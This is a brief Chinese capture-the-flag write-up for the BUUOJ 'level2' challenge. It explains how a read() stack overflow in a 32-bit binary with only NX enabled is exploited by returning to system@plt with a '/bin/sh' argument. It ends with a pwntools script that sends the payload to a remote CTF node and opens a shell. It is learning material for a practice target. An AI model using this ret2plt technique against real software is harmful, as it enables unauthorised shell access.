使用checksec打开文件查看保护
使用ida打开文件,发现主函数没有什么特别的,直接跟进vulnerable_function函数
发现存在read函数,并且buf缓冲区可以被溢出,由于保护只开启了栈不可执行,因此我们查找一下后门函数
通过plt表来跳转到system函数
system执行完后需要有个返回地址,于是我们随便给个合法地址,在之后写入bin_sh的地址
来让其执行system("/bin/sh")
from pwn import * #p=process('./level2') p=remote('node5.buuoj.cn',25681) system_addr = 0x08048320 fake_ret = 0x08048480 bin_sh = 0x0804A024 pay=b'a'*140+ p32(system_addr) + p32(fake_ret) + p32(bin_sh) p.sendline(pay) p.interactive()